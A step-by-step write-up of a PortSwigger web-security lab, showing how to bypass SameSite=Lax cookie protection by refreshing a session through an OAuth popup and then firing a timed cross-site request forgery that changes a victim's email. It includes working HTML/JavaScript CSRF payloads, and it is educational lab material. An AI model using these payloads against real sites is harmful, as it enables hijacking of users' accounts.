[Modern browsers](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh) using `SameSite=Lax` won’t send cookies on cross-site **POST requests** unless the cookie was **recently refreshed** (within ~2 minutes). You can bypass this by forcing the victim to visit an **OAuth login endpoint** (which sets a new cookie) in a popup, then **timing** a CSRF request immediately afterward.
##### Step 1: Understand the Flow
1. Log in via **social login** using:
```
wiener:peter
```
2. Change your email at:
```
/my-account/change-email
```
3. In **Burp Proxy → HTTP history**, locate:
```
POST /my-account/change-email
```
➡ No CSRF token → vulnerable
➡ But protected by **SameSite=Lax**
---
##### Step 2: Confirm Lax Behavior
1. In `/oauth-callback?...`, observe:
```http
Set-Cookie: session=... ← No SameSite flag → defaults to Lax
```
2. Try this CSRF attack (on exploit server):
```html
<script>history.pushState('', '', '/')</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="
[email protected]" />
<input type="submit" />
</form>
<script>document.forms[0].submit()</script>
```
✅ If it’s been **less than 2 minutes** since your session cookie was set → **email changes**
❌ If **>2 minutes** → cookie is not sent on POST (due to SameSite=Lax)
---
##### Step 3: Trigger Session Cookie Refresh via OAuth
- Visiting `/social-login` → refreshes session cookie via OAuth flow
- It **doesn’t require interaction** if you're already logged in at the IdP (OAuth)
---
##### Step 4: Chain OAuth → CSRF Request
Use this payload on the exploit server:
```html
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="
[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(() => {
document.forms[0].submit();
}, 5000);
};
</script>
```
✅ Why this works:
- User **clicks anywhere** → satisfies popup blocker
- OAuth popup opens → refreshes session cookie
- 5s later → CSRF POST is made with **fresh cookie**
---
##### Step 5: Test + Deliver the Exploit
1. Test on yourself via **View exploit**
2. Confirm that `/my-account/change-email` is hit with a **session cookie**
3. Your email address should be updated
4. Now edit the payload to use a **new, unused** email:
```html
<input type="hidden" name="email" value="
[email protected]">
```
5. Store the payload
6. Click **Deliver to victim**
----
### 🔐 SameSite=Lax = "No Cookies on Cross-Site POSTs"
- **Cookies ARE sent** on:
- Link clicks (`<a href>`)
- Image loads (`<img>`)
- Top-level **GET** requests
- **Cookies are NOT sent** on:
- Cross-site **POST** requests
- Auto-submitted forms
- JS `fetch()` / `axios` calls
---
### 2-Minute Rule (Chrome)
- If the cookie was **just set** (last 2 min), Chrome will still send it — even for a cross-site POST.
- That’s why **refreshing a session** right before a CSRF attack works.
---